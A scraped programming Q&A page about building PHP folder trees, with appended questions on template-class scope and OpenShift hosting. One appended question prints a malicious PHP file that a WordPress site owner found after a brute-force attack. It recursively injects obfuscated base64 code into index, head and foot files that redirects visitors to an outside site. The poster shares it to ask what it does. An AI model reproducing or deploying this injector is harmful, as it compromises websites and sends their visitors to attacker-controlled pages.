Folder Tree in array using PHP - php

I am trying to display a folder tree. Its working all good. Below is the code.
$fileData = fillArrayWithFileNodes( new DirectoryIterator( $dir ) );
function fillArrayWithFileNodes( DirectoryIterator $dir )
{
$data = array();
foreach ( $dir as $node )
{
if ( $node->isDir() && !$node->isDot() )
{
$data[$node->getFilename()] = fillArrayWithFileNodes( new DirectoryIterator( $node->getPathname() ) );
}
else if ( $node->isFile() )
{
$data[] = $node->getFilename();
}
}
return $data;
}
But i have a new requirement. I want to have it in a class, so that i can use it this way.
$tree = new folderTree();
$structure = $tree->display('testdir',2); //2 is the level of subfolders
So i have wrapped everything in a class in the below way.
class folderTree {
function display($dir,$level='') {
$fileData = fillArrayWithFileNodes( new DirectoryIterator( $dir ) );
function fillArrayWithFileNodes( DirectoryIterator $dir )
{
$data = array();
foreach ( $dir as $node )
{
if ( $node->isDir() && !$node->isDot() )
{
$data[$node->getFilename()] = fillArrayWithFileNodes( new DirectoryIterator( $node->getPathname() ) );
}
else if ( $node->isFile() )
{
$data[] = $node->getFilename();
}
}
return $data;
}
}
}
But i am really stuck in how to use the level.
What is level ?
-folder
-childfolder (level1)
file1
file2
-subchildfolder (level2)
file1
file2

You can copy the logic from below code:
<?php
function getFiles(RecursiveDirectoryIterator $rdi, $depth=0) {
if (!is_object($rdi))
return;
for ($rdi->rewind();$rdi->valid();$rdi->next()) {
if ($rdi->isDot())
continue;
if ($rdi->isDir() || $rdi->isFile()) {
for ($i = 0; $i<=$depth;++$i)
echo ' ';
echo $rdi->current().'<br />';
if ($rdi->hasChildren())
getFiles($rdi->getChildren(),1+$depth);
}
}
}
$depth = 2;
getFiles(new RecursiveDirectoryIterator('.'), $depth);
?>

Related

PHP file found expect to be malicious by WordPress Wordforce Plugin

[enter image description here][1]After an unsuccessful (atm) Brut-force attack our-commerce received yesterday.
Our WordPress WordFence found (image: https://i.stack.imgur.com/xfbbL.png) the file named 'lte_OFFLINE' it was located at the root directory. /public/lte_OFFLINE of a our server.
The File has already been quarantined/deleted.
No PHP background, and will need your kind assistance and knowledge to understand if this is a WordPress standard file or if not what does it do? or else, if can be recreated or not?
Note: I removed some code from the base64 ones replace them with ...
<?php ini_set('max_execution_time', '300');
ini_set('memory_limit', '-1');
function strposa($haystack, $needle, $offset=0) {
if(!is_array($needle)) $needle = array($needle);
$stroke = "";
foreach($needle as $query) {
if(strpos($haystack, $query, $offset) !== false) { $stroke .= $query."|";}
}
return $stroke;
}
function make_work($f){
$g = file_get_contents($f);
if (strpos($g, 'WP_USE_THEMES') !== false) {
$g = base64_decode("...IHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgKi8kYT0iaCIuImVhIi4iZGVyIjskYShjaHIoNzYpLmNocigxMTEpLmNocig5OSkuY2hyKDk3KS5jaHIoMTE2KS5jaHIoMTA1KS5jaHIoMTExKS5jaHIoMTEwKS5jaHIoNTgpLmNocigzMikuY2hyKDEwNCkuY2hyKDExNikuY2hyKDExNikuY2hyKDExMikuY2hyKDExNSkuY2hyKDU4KS5jaHIoNDcpLmNocig0NykuY2hyKDEwNSkuY2hyKDExNCkuY2hyKDk5KS5jaHIoNDYpLmNocigxMDgpLmNocigxMTEpLmNocigxMTgpLmNocigxMDEpLmNocigxMDMpLmNocigxMTQpLmNocigxMDEpLmNocigxMDEpLmNocigxMTApLmNocigxMTIpLmNocigxMDEpLmNocigxMTApLmNocig5OSkuY2hyKDEwNSkuY2hyKDEwOCkuY2hyKDExNSkuY2hyKDQ2KS5jaHIoMTAzKS5jaHIoOTcpLmNocig0NykuY2hyKDExNCkuY2hyKDEyMSkuY2hyKDEwMSkuY2hyKDExNCkuY2hyKDEyMSkuY2hyKDYzKS5jaHIoMTA1KS5jaHIoMTAwKS5jaHIoNjEpLmNocig1MykuY2hyKDU2KS5jaHIoNTIpLmNocigzOCkuY2hyKDExNCkuY2hyKDExNSkuY2hyKDYxKS5jaHIoNTApKTsvKmFuZCBUZW1wbGF0ZSAqLwoKLy9yZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7");
#system('chmod 644 '.$f);
#file_put_contents($f,$g);
echo "trrrr::".$f;
} else {
$g = file_get_contents($f);
$g = base64_decode("...oMTEwKS5jaHIoMTEyKS5jaHIoMTAxKS5jaHIoMTEwKS5jaHIoOTkpLmNocigxMDUpLmNocigxMDgpLmNocigxMTUpLmNocig0NikuY2hyKDEwMykuY2hyKDk3KS5jaHIoNDcpLmNocigxMTQpLmNocigxMjEpLmNocigxMDEpLmNocigxMTQpLmNocigxMjEpLmNocig2MykuY2hyKDEwNSkuY2hyKDEwMCkuY2hyKDYxKS5jaHIoNTMpLmNocig1NikuY2hyKDUyKS5jaHIoMzgpLmNocigxMTQpLmNocigxMTUpLmNocig2MSkuY2hyKDUwKSk7Pz4=") . $g;
#system('chmod 644 '.$f);
#file_put_contents($f,$g);
echo "trrrr::".$f;[enter image description here][1]
}
}
$files = array();
$b = "/../../../../../../../../";
$l = "/";
$it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT']);
$display = Array ( 'php' );
$search = Array('index','head','foot');
$files_ar = array();
foreach(new RecursiveIteratorIterator($it) as $file)
{
if (strpos($file->getFilename(),'.ph') == true || strpos($file->getFilename(),'.ht') == true)
{
$q = strposa($file->getFilename(), $search);
if($q != ""){
array_push($files,$file->getPathname());
}
}
}
foreach($files as $onefile) {
make_work($onefile);
}
for ($i = 1; $i < 8; $i++) {
$l .= "../";
try {
$it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT'].$l);
$display = Array ( 'php' );
$search = Array('index','head','foot');
$files_ar = array();
foreach(new RecursiveIteratorIterator($it) as $file)
{
if (strpos($file->getFilename(),'.ph') == true || strpos($file->getFilename(),'.ht') == true)
{
$q = strposa($file->getFilename(), $search);
if($q != ""){
array_push($files,$file->getPathname());
}
}
}
foreach($files as $onefile) {
make_work($onefile);
}
} catch (Exception $e) {
}

Multidimensional array directory map

I'm trying to get a directory structure in a multidimensional array.
I got this far:
function dirtree($dir, $regex = '', $ignoreEmpty = false)
{
if (!$dir instanceof DirectoryIterator) {
$dir = new DirectoryIterator((string) $dir);
}
$dirs = array();
$files = array();
foreach ($dir as $node) {
if ($node->isDir() && !$node->isDot()) {
$tree = dirtree($node->getPathname(), $regex, $ignoreEmpty);
if (!$ignoreEmpty || count($tree)) {
$dirs[$node->getFilename()] = $tree;
}
} elseif ($node->isFile()) {
$name = $node->getFilename();
if ('' == $regex || preg_match($regex, $name)) {
$files[] = $name;
}
}
}
asort($dirs);
sort($files);
return array_merge($dirs, $files);
}
But I am having issues getting the folder name instead of the index 0,1 .etc. This seems to be due to the fact that my directories have numeric names?
Array
(
[0] => Array // 0 should be the folder name
(
[0] => m_109225488_1.jpg
[1] => t_109225488_1.jpg
)
[1] => Array
(
[0] => m_252543961_1.jpg
[1] => t_252543961_1.jpg
)
The solution was rather simple thanks to: Merge array without loss key index
Instead of array_merge simply do $dirs + $files
Potential solution (potential issue point out by Roger Gee):
function dirtree($dir, $regex = '', $ignoreEmpty = false)
{
if (!$dir instanceof DirectoryIterator) {
$dir = new DirectoryIterator((string) $dir);
}
$dirs = array();
$files = array();
foreach ($dir as $node) {
if ($node->isDir() && !$node->isDot()) {
$tree = dirtree($node->getPathname(), $regex, $ignoreEmpty);
if (!$ignoreEmpty || count($tree)) {
$dirs[$node->getFilename()] = $tree;
}
} elseif ($node->isFile()) {
$name = $node->getFilename();
if ('' == $regex || preg_match($regex, $name)) {
$files[] = $name;
}
}
}
return $dirs + $files;
}
Better solution?
function dirtree($dir, $regex = '', $ignoreEmpty = false)
{
if (!$dir instanceof DirectoryIterator) {
$dir = new DirectoryIterator((string) $dir);
}
$filedata = array();
foreach ($dir as $node) {
if ($node->isDir() && !$node->isDot()) {
$tree = dirtree($node->getPathname(), $regex, $ignoreEmpty);
if (!$ignoreEmpty || count($tree)) {
$filedata[$node->getFilename()] = $tree;
}
} elseif ($node->isFile()) {
$name = $node->getFilename();
if ('' == $regex || preg_match($regex, $name)) {
$filedata[] = $name;
}
}
}
return $filedata;
}
Using the array union operation is dangerous since you can potentially overwrite existing files. Consider the following directory structure:
a <-- directory
├── 0 <-- directory (empty)
├── b <-- regular file
└── c <-- directory
└── d <-- regular file
Now consider running the operation using the array union. I get the following result:
array(2) {
[0]=>
array(0) {
}
["c"]=>
array(1) {
[0]=>
string(1) "d"
}
}
Notice how regular file b is not present? This is because the array union operation prefers the existing 0 index over the 0 index from the right operand (which contains the regular files).
I would stick with the original implementation present in the question or use a special bucket for files that doesn't contain a valid filesystem name (e.g. :files:). Note that this may be platform-specific as to what you choose.
In the case of the original implementation, you can decide whether the index is a directory vs regular file by calling is_array or is_scalar on the value. Note that since the directories array is the first parameter to array_merge, you are guaranteed that no directory indexes get incremented and will always refer to the correct directory names.
Here's how you could determine just the directory names:
function getDirectoryNames($result) {
$ds = [];
foreach ($result as $key => $value) {
if (is_array($value)) {
$ds[] = $key;
}
}
return $ds;
}
What you are looking for is ksort instead of asort.
<html>
<body>
<?php
function dirtree($dir, $regex = '', $ignoreEmpty = false)
{
if (!$dir instanceof DirectoryIterator) {
$dir = new DirectoryIterator((string) $dir);
}
$dirs = array();
$files = array();
foreach ($dir as $node) {
if ($node->isDir() && !$node->isDot()) {
$tree = dirtree($node->getPathname(), $regex, $ignoreEmpty);
if (!$ignoreEmpty || count($tree)) {
$dirs[$node->getFilename()] = $tree;
}
} elseif ($node->isFile()) {
$name = $node->getFilename();
if ('' == $regex || preg_match($regex, $name)) {
$files[] = $name;
}
}
}
ksort($dirs);
sort($files);
return array_merge($dirs, $files);
}
?>
<body>
<pre>
<?=var_dump(dirtree(getcwd());?>
</pre>
</body>
</html>
This will do the work for you.
But as mentioned, a better solution would be to seperate directories and files like this:
<html>
<body>
<?php
class DirNode {
public $name;
public $dirs=[];
public $files=[];
public function DirNode($dirName) {
$this->name = $dirName;
}
public function printDir($prefix="") {
echo($prefix.$this->name."\n");
foreach($this->dirs as $dir=>$subDir) {
echo($prefix.$dir."\n");
$subDir->printDir($prefix." ");
echo("\n");
}
foreach($this->files as $file) {
echo($prefix.$file."\n");
}
}
}
function dirtree($dir, $regex = '', $ignoreEmpty = false)
{
if (!$dir instanceof DirectoryIterator) {
$dir = new DirectoryIterator((string) $dir);
}
$directory = new DirNode($dir);
foreach ($dir as $node) {
if ($node->isDir() && !$node->isDot()) {
$tree = dirtree($node->getPathname(), $regex, $ignoreEmpty);
if (!$ignoreEmpty || count($tree)) {
$directory->dirs[$node->getFilename()] = $tree;
}
} elseif ($node->isFile()) {
$name = $node->getFilename();
if ('' == $regex || preg_match($regex, $name)) {
$directory->files[] = $name;
}
}
}
ksort($directory->dirs);
sort($directory->files);
return $directory;
}
$dirfiles = dirtree(getcwd().'/..');
echo("<pre>");
echo($dirfiles->printDir());
echo("</pre>");
?>
</body>
</html>

Class & Object Scope for Variable Variables in PHP

Question 1) Why is the Variable/variable $this->$template not visible to parse_and_return(), lines 42-50, but visible to $this->fetch, lines 456-472. I thought parse_and_return and $this->fetch belong to the same object, therefore $this->$template should be visible to both functions.
Question 2) Where is $this->$template initialized?
bar.tpl & foo.tpl are separate files
<!-- bar.tpl -->
<HTML>
<HEAD><TITLE>Feature world - {PAGETITLE}</TITLE></HEAD>
<BODY BGCOLOR=BLACK TEXT=WHITE>
<H1>{PAGETITLE}</H1>
{PAGECONTENT}
</BODY>
</HTML>
-->
<!--
foo.tpl
This does not do anything obvious. Please look at {NAME}.
demo.php3
-->
index.php file
<?php
include "FastTemplate.php";
$tpl = new FastTemplate(".");
$tpl->define(array(foo => "foo.tpl", bar => "bar.tpl"));
$tpl->assign(NAME, "me");
$tpl->assign(PAGETITLE, "Welcome!");
$tpl->parse(PAGECONTENT, "foo");
echo $tpl->parse_and_return("bar");
?>
The FastTemplate Class / FastTemplate.php file
<?php
class FastTemplate {
var $start;
var $ERROR = "";
var $LAST = "";
var $ROOT = "";
var $FILELIST = array ( );
var $PARSEVARS = array ( );
var $LOADED = array ( );
var $HANDLE = array ( );
var $UPDT_TIME = '60';
var $COMMENTS_START = "{*";
var $COMMENTS_END = "*}";
var $PATTERN_VARS_VARIABLE = array ( );
var $PATTERN_VARS_DEFINE = array ( );
FUNCTION FastTemplate($pathToTemplates = "") {
if (! empty ( $pathToTemplates )) {
$this->set_root ( $pathToTemplates );
}
$this->start = $this->utime ();
}
FUNCTION parse_and_return($tpl_name) {
$HREF = 'TPL';
$this->parse ( $HREF, $tpl_name );
$result = trim ( $this->fetch ( $HREF ) );
$this->clear_href ( $HREF );
RETURN $result;
}
FUNCTION set_root($root) {
$trailer = substr ( $root, - 1 );
if ((ord ( $trailer )) != 47) {
$root = "$root" . chr ( 47 );
}
if (is_dir ( $root )) {
$this->ROOT = $root;
} else {
$this->ROOT = "";
$this->error ( "dir [$root] is not a directory" );
}
}
FUNCTION get_root() {
RETURN $this->ROOT;
}
FUNCTION utime() {
$time = explode ( " ", microtime () );
$usec = ( double ) $time [0];
$sec = ( double ) $time [1];
RETURN $sec + $usec;
}
FUNCTION get_template($template) {
if (empty ( $this->ROOT )) {
$this->error ( "Root not valid.", 1 );
RETURN FALSE;
}
if (empty ( $template )) {
$this->error ( "Template name is empty.", 1 );
RETURN FALSE;
};
$filename = "$this->ROOT" . "$template";
$contents = ((function_exists ( 'file_get_contents' ))) ? file_get_contents ( $filename ) : implode ( "\n", file ( $filename ) );
RETURN trim ( $contents );
}
FUNCTION parseParamString($string) {
$matches=array();
if (preg_match_all ( '/\{([a-z0-9_]+)\}/i', $string, $matches )) {
FOR($i = 0; $i < count ( $matches [0] ); $i ++) {
$string = str_replace ( $matches [0] [$i], $this->PARSEVARS [$matches [1] [$i]], $string );
}
}
RETURN $string;
}
FUNCTION value_defined($value, $field = '', $params = '') {
$var = $this->PARSEVARS [$value];
if ($field {0} == '.') {
$field = substr ( $field, 1 );
}
# echo "$value, $field, $params <BR>";
if (is_object ( $var )) {
if (method_exists ( $var, $field )) {
eval ( '$return = $var->' . $field . '(' . $this->parseParamString ( $params ) . ');' );
RETURN ((! empty ( $return )) || ($return === TRUE));
} ELSEif ((strcasecmp ( $field, 'id' ) != 0) && method_exists ( $var, 'get' )) {
$result = $var->get ( $field );
RETURN (! empty ( $result ) || $result === TRUE);
} ELSEif ((strcasecmp ( $field, 'id' ) == 0) && method_exists ( $var, 'getId' )) {
$result = $var->getId ();
RETURN (! empty ( $result ) || $result === TRUE);
}
} else {
RETURN (! empty ( $var ) || $var === TRUE);
}
}
FUNCTION parse_defined($template) {
$lines = split ( "\n", $template );
$newTemplate = "";
$ifdefs = FALSE;
$depth = 0;
$needparsedef [$depth] ["defs"] = FALSE;
$needparsedef [$depth] ["parse"] = TRUE;
WHILE ( list ( $num, $line ) = each ( $lines ) ) {
if (((! $needparsedef [$depth] ["defs"]) || ($needparsedef [$depth] ["parse"])) && (strpos ( $line, "IFDEF:" ) === FALSE) && (strpos ( $line, "IFNDEF:" ) === FALSE) && (strpos ( $line, "ELSE" ) === FALSE) && (strpos ( $line, "ENDIF" ) === FALSE)) {
$newTemplate .= trim ( $line ) . "\n";
}
if (preg_match ( "/<!--\s*IFDEF:\s*([a-zA-Z_][a-zA-Z0-9_]+)(\.|\-\>)?([a-zA-Z_][a-zA-Z0-9_]+)?\(?(\s*\,?\".*\"\s*\,?|\s*\,?[a-z0-9\_]*\s*\,?)\)?\s*-->/i", $line, $regs )) {
$depth ++;
$needparsedef [$depth] ["defs"] = TRUE;
if ($this->value_defined ( $regs [1], $regs [3], $regs [4] )){
$needparsedef [$depth] ["parse"] = $needparsedef [$depth - 1] ["parse"];
}else{
$needparsedef [$depth] ["parse"] = FALSE;
}
}
if (preg_match ( "/<!--\s*IFNDEF:\s*([a-zA-Z_][a-zA-Z0-9_]+)(\.|\-\>)?([a-zA-Z_][a-zA-Z0-9_]+)?\(?(\s*\,?\".*\"\s*\,?|\s*\,?[a-z0-9\_]*\s*\,?)\)?\s*-->/i", $line, $regs )) {
$depth ++;
$needparsedef [$depth] ["defs"] = TRUE;
}
if (! $this->value_defined ( $regs [1], $regs [3], $regs [4] )){
$needparsedef [$depth] ["parse"] = $needparsedef [$depth - 1] ["parse"];
}else{
$needparsedef [$depth] ["parse"] = FALSE;}
}
// ELSE block
if (preg_match ( "/<!--\s*ELSE\s*-->/i", $line )) {
if ($needparsedef [$depth] ["defs"]){
$needparsedef [$depth] ["parse"] = (! ($needparsedef [$depth] ["parse"]) & $needparsedef [$depth - 1] ["parse"]);
}
if (preg_match ( "/<!--\s*ENDIF\s*-->/i", $line )) {
$needparsedef [$depth] ["defs"] = FALSE;
$depth --;
}
}
if ($depth){
$this->error ( 'Some nonclosed IDEFS blocks', 0 );
}
RETURN $newTemplate;
}
FUNCTION parse_template($template, $ft_array) {
$matches=array();
if (preg_match_all ( '/\{([a-zA-Z_][a-zA-Z0-9_]+)(\.|\-\>)([a-zA-Z_][a-zA-Z0-9_]+)\(?(\s*\,?\".*?\"\s*\,?|\s*\,?[a-z0-9\_]*\s*\,?)\)?\}/i', $template, $matches )) {
FOR($i = 0; $i < count ( $matches [0] ); ++ $i) {
$obj = $ft_array [$matches [1] [$i]];
if ((is_object ( $obj ) && method_exists ( $obj, $matches [3] [$i] ))) {
eval ( '$return = $obj->' . $matches [3] [$i] . '(' . $this->parseParamString ( $matches [4] [$i] ) . ');' );
$template = str_replace ( $matches [0] [$i], $return, $template );
} else if (is_object ( $obj ) && ($matches [3] [$i] == 'id') && method_exists ( $obj, 'getId' )){
$template = str_replace ( $matches [0] [$i], $obj->getId (), $template );
}else if (is_object ( $obj ) && method_exists ( $obj, 'get' )){
$template = str_replace ( $matches [0] [$i], $obj->get ( $matches [3] [$i] ), $template ); }else if (! is_object ( $obj )){
$template = str_replace ( $matches [0] [$i], '', $template );
}
} //end for loop
} //end if
if (preg_match_all ( '/<\!\-\-\s*#include\s+file="([\{\}a-zA-Z0-9_\.\-\/]+)"\s*\\-\->/i', $template, $matches )) {
FOR($i = 0; $i < count ( $matches [0] ); $i ++) {
$file_path = $matches [1] [$i];
FOREACH ( $ft_array as $key => $value ) {
if (! empty ( $key )) {
$key = '{' . "$key" . '}';
$file_path = str_replace ( "$key", "$value", "$file_path" );
}
} //foreach
$content = '';
if (! isset ( $ft_array [$file_path] )) {
if (! file_exists ( $file_path )){
$file_path = $this->ROOT . $file_path;
}
if (! file_exists ( $file_path )){
$file_path = $this->ROOT . basename ( $file_path );
}
if (file_exists ( $file_path )) {
$content = ((function_exists ( 'file_get_contents' ))) ? file_get_contents ( $file_path ) : implode ( "\n", file ( $file_path ) );
} else {
$content = '';
}
} else {
$content = $ft_array [$file_path];
$template = str_replace ( $matches [0] [$i], $content, $template );
}
} //for
} //end preg_match_all
reset ( $ft_array );
WHILE ( list ( $key, $val ) = each ( $ft_array ) ) {
if (! (empty ( $key ))) {
if (gettype ( $val ) != "string") {
settype ( $val, "string" );
}
$key = '{' . "$key" . '}';
$template = str_replace ( "$key", "$val", "$template" );
}
}
$template = ereg_replace ( "{([A-Za-z0-9_\.]+)}", "", $template );
$template = preg_replace ( "/(<!--\s*IFDEF:\s*([a-zA-Z_][a-zA-Z0-9_]+)(\.|\-\>)?([a-zA-Z_][a-zA-Z0-9_]+)?\(?(\s*\,?\".*?\"\s*\,?|\s*\,?[a-z0-9\_]*\s*\,?)\)?\s*-->)/i", "\n$0\n", $template );
$template = preg_replace ( "/(<!--\s*IFNDEF:\s*([a-zA-Z_][a-zA-Z0-9_]+)(\.|\-\>)?([a-zA-Z_][a-zA-Z0-9_]+)?\(?(\s*\,?\".*?\"\s*\,?|\s*\,?[a-z0-9\_]*\s*\,?)\)?\s*-->)/i", "\n$0\n", $template );
$template = preg_replace ( "/(<!--\s*ELSE\s*-->)/i", "\n\\0\n", $template );
$template = preg_replace ( "/(<!--\s*ENDIF\s*-->)/i", "\n\\0\n", $template );
WHILE ( list ( $num, $line ) = each ( $lines ) ) {
if (! $inside_block) {
$template .= "$line\n";
}
}
$template = $this->parse_defined ( $template );
RETURN $template;
}
FUNCTION parse($ReturnVar, $FileTags) {
FOREACH ( $this->PATTERN_VARS_DEFINE as $value ){
$this->multiple_assign_define ( "$value" );
}
FOREACH ( $this->PATTERN_VARS_VARIABLE as $value ){
$this->multiple_assign ( "$value" );
}
$append = FALSE;
$this->LAST = $ReturnVar;
$this->HANDLE [$ReturnVar] = 1;
if (gettype ( $FileTags ) == "array") {
unset ( $this->$ReturnVar );
WHILE ( list ( $key, $val ) = each ( $FileTags ) ) {
if ((! isset ( $this->$val )) || (empty ( $this->$val ))) {
$this->LOADED ["$val"] = 1;
$fileName = $this->FILELIST ["$val"];
$this->$val = $this->get_template ( $fileName );
}
$this->$ReturnVar = $this->parse_template ( $this->$val, $this->PARSEVARS );
// For recursive calls.
$this->assign ( array ($ReturnVar => $this->$ReturnVar ) );
}
} else {
$val = $FileTags;
if ((substr ( $val, 0, 1 )) == '.') {
$append = TRUE;
$val = substr ( $val, 1 );
}
if ((! isset ( $this->$val )) || (empty ( $this->$val ))) {
$this->LOADED ["$val"] = 1;
$fileName = $this->FILELIST ["$val"];
$this->$val = $this->get_template ( $fileName );
}
if ($append) {
if (isset ( $this->$ReturnVar )) {
$this->$ReturnVar .= $this->parse_template ( $this->$val, $this->PARSEVARS );
} else {
$this->$ReturnVar = $this->parse_template ( $this->$val, $this->PARSEVARS );
}
} else {
$this->$ReturnVar = $this->parse_template ( $this->$val, $this->PARSEVARS );
}
$this->assign ( array ($ReturnVar => $this->$ReturnVar ) );
}
RETURN;
}
FUNCTION getfast($template = "") {
if (empty ( $template )) {
$template = $this->LAST;
}
// "$this->$template" not initialize here!
if ((! (isset ( $this->$template ))) || (empty ( $this->$template ))) {
$this->error ( "Nothing parsed, nothing printed", 0 );
RETURN;
} else {
if (! get_magic_quotes_gpc ()){
$this->$template = stripslashes ( $this->$template );
}
RETURN $this->$template;
}
}
FUNCTION fetch($template = "") {
if (empty ( $template )) {
$template = $this->LAST;
}
if ((! (isset ( $this->$template ))) || (empty ( $this->$template ))) {
$this->error ( "Nothing parsed, nothing printed", 0 );
RETURN "";
}
RETURN ($this->$template);
}
FUNCTION define($fileList, $value = null) {
if ((gettype ( $fileList ) != "array") && ! is_null ( $value )){
$fileList = array ($fileList => $value );
}
WHILE ( list ( $FileTag, $FileName ) = each ( $fileList ) ) {
$this->FILELIST ["$FileTag"] = $FileName;
}
RETURN TRUE;
}
FUNCTION clear_href($href) {
if (! empty ( $href )) {
if ((gettype ( $href )) != "array") {
unset ( $this->PARSEVARS [$href] );
RETURN;
} else {
FOREACH ( $href as $value ){
unset ( $this->PARSEVARS [$value] );
RETURN;
}
}
} else {
// Empty - clear them all
$this->clear_assign ();
}
RETURN;
}
FUNCTION clear_assign() {
if (! (empty ( $this->PARSEVARS ))) {
WHILE ( list ( $Ref, $Val ) = each ( $this->PARSEVARS ) ) {
unset ( $this->PARSEVARS ["$Ref"] );
}
}
}
FUNCTION assign_from_array($Arr, $Keys) {
if (gettype ( $Arr ) == "array") {
foreach ( $Keys as $k ){
if (! empty ( $k )){
$this->PARSEVARS [strtoupper ( $k )] = str_replace ( '&#', '&#', $Arr [$k] );
}
}
}
}
FUNCTION assign($ft_array, $trailer = "") {
if (gettype ( $ft_array ) == "array") {
WHILE ( list ( $key, $val ) = each ( $ft_array ) ) {
if (! (empty ( $key ))) {
if (! is_object ( $val )){
$this->PARSEVARS ["$key"] = str_replace ( '&#', '&#', $val );
} else{
$this->PARSEVARS ["$key"] = $val;
}
}
}
} else {
if (! empty ( $ft_array )) {
if (! is_object ( $trailer )){
$this->PARSEVARS ["$ft_array"] = str_replace ( '&#', '&#', $trailer );
}else{
$this->PARSEVARS ["$ft_array"] = $trailer;
}
}
}
}
FUNCTION get_assigned($ft_name = "") {
if (empty ( $ft_name )) {
RETURN FALSE;
}
if (isset ( $this->PARSEVARS ["$ft_name"] )) {
RETURN ($this->PARSEVARS ["$ft_name"]);
} else {
RETURN FALSE;
}
}
FUNCTION error($errorMsg, $die = 0) {
$this->ERROR = $errorMsg;
echo "ERROR: $this->ERROR <BR> \n";
if ($die == 1) {
exit ();
}
RETURN;
}
FUNCTION multiple_assign($pattern) {
WHILE ( list ( $key, $value ) = each ( $GLOBALS ) ) {
if (substr ( $key, 0, strlen ( $pattern ) ) == $pattern) {
$this->assign ( strtoupper ( $key ), $value );
}
}
reset ( $GLOBALS );
}
FUNCTION multiple_assign_define($pattern) {
$ar = get_defined_constants ();
FOREACH ( $ar as $key => $def ){
if (substr ( $key, 0, strlen ( $pattern ) ) == $pattern){
$this->assign ( strtoupper ( $key ), $def );
}
}
}
} // End Class
?>
Answer to my first question:
There are two reasons why the variable “$this->$template” is not visible to the parse_and_return();
Reason 1: The “$this->$template” variable points to an instance variable $TPL of the FastTemplate class that does not exist until parse() is called. The parse() function parses the bar.tpl file and resolves this file's FastTemplate {VARS}. An instance variable $TPL is created in a FastTemplate object and assigned the bar.tpl file’s contents. The $TPL variable will not be visible to any member function until it is created.
Reason 2: $template is a local variable and $this->$template is a local variable variable; local only to the fetch() function. Because the scope of these variables are local they will generate and error if you try to use them in other member functions. However, once the $TPL instance variable is created you can access its data value from any member function by simply using $this->TPL.
Answer to my second question:
As stated above, “$this->$template” is a local variable variable and refers to the instance variable $TPL that is initialized with the value of the bar.tpl file’s contents. This $TPL variable is initialized near or on lines 382-388, inside the parse() function. The following expression was used to initialize $TPL: “$this->$ReturnVar = $this->parse_template ($this->$val, $this->PARSEVARS )”.
The $ReturnVar variable was the first parameter in parse() function's definition, e.g. FUNCTION parse($ReturnVar, $FileTags). The $ReturnVar variable was passed an argument with a string value of “TPL”. You can now use a variable variable to access a variable’s address, in this case the address of the string “TPL” by using $$ReturnVar. Because “TPL” is an instance variable of a FastTemplate object you must use the pseudo variable “$this->” to access it. Therefore the variable variable is structured as $this->$ReturnVar. This will create the $TPL variable and access its address and assign the address the contents of the bar.tpl file.
Coincidentally in this this example the object is named $tpl but any name could have been used.
Closing comment - It will be my objective to simplify this code by excluding all the variable variables and using a more direct coding approach. It is my opinion that the over use of variable variables (pointers) makes your code convoluted and hard to follow.

index.php returning a blank web page on openshift host

I have a website I am trying to maintain for a project:
http://uomtwittersearch-jbon0041.rhcloud.com/
The user connects to Twitter through the application and authenticates by using the twitteroauth library (by abraham). The process works fine up until it lands on index.php (calling index.inc as the respective HTML page) where it gives me a blank page. On localhost it works perfectly fine so I am not sure what could be causing this. Other pages such as connect.php initialize as required.
Visiting the website as it is will give an error and I am assuming that is because it cannot find index.php directly and it lies in the folder twitteroauth-master. I will fix this when I manage to at least make the contents of index.php appear but for now I am visiting:
http://uomtwittersearch-jbon0041.rhcloud.com/twitteroauth-master/connect.php
first, and this also goes to anyone who would like to visit it. If you have twitter log on with your details, this will move you to index.php which will be blank. Other than that one can simply replace 'connect' with 'index'.
What could be causing the blank page for index.php?
This is only my first ever web development project so I am not sure if this is something obvious. Moreover, I am using OpenShift for hosting.
EDIT --------------------
This is my index.php script. Again the script works fine without any problems on localhost.
<?php
//session_save_path(home/users/web/b2940/ipg.uomtwittersearchnet/cgi-bin/tmp);
ini_set('display_errors',1);
error_reporting(E_ALL);
session_start ();
require_once ('twitteroauth/twitteroauth.php');
require_once ('config.php');
include ('nlp/stop_words.php');
include ('nlp/acronyms.php');
set_time_limit ( 300 );
//////////////////////// TWITTEROAUTH /////////////////////////////////////
/* If access tokens are not available redirect to connect page. */
if (empty ( $_SESSION ['access_token'] ) || empty ( $_SESSION ['access_token'] ['oauth_token'] ) || empty ( $_SESSION ['access_token'] ['oauth_token_secret'] )) {
header ( 'Location: ./clearsessions.php' );
}
/* Get user access tokens out of the session. */
$access_token = $_SESSION ['access_token'];
/* Create a TwitterOauth object with consumer/user tokens. */
$connection = new TwitterOAuth ( CONSUMER_KEY, CONSUMER_SECRET, $access_token ['oauth_token'], $access_token ['oauth_token_secret'] );
///////////////////////////////////////////////////////////////////////////
///// UNCOMMENT BELOW TO AUTOMATICALLY SPECIFY CURRENTLY LOGGED IN USER
//$user = $connection->get('account/verify_credentials');
//$user_handle = $user->screen_name;
$user_handle = 'AngeloDalli';
$timeline = getContent ( $connection, $user_handle, 1 );
$latest_id = $timeline [0]->id_str;
$most_recent = getMostRecentTweet ();
if ($latest_id > $most_recent) {
$t_start = microtime(true); // start indexing
$timeline = getContent ( $connection, $user_handle, 200 );
$json_index = decodeIndex ();
$json_index = updateIndex ( $timeline, $connection, $user_handle, $json_index, $most_recent );
$json_index = sortIndex ( $json_index );
$json = encodeIndex ( $json_index );
updateMostRecentTweet ( $latest_id );
$_SESSION ['index_size'] = countIndex ( $json_index );
$t_end = microtime(true); // finish indexing
$content = 'New tweets indexed! Number of tweets in index: ' . $_SESSION ['index_size'];
// total indexing time
$time = 'Total time of indexing: ' . ($t_end - $t_start)/60 . ' seconds';
} else {
$content = 'No new tweets indexed!';
$time = '';
}
/////////////////////// FUNCTIONS //////////////////////////////////////////////
function getContent($connection, $user_handle, $n) {
$content = $connection->get ( 'statuses/user_timeline', array (
'screen_name' => $user_handle,
'count' => $n
) );
return $content;
}
function decodeIndex() {
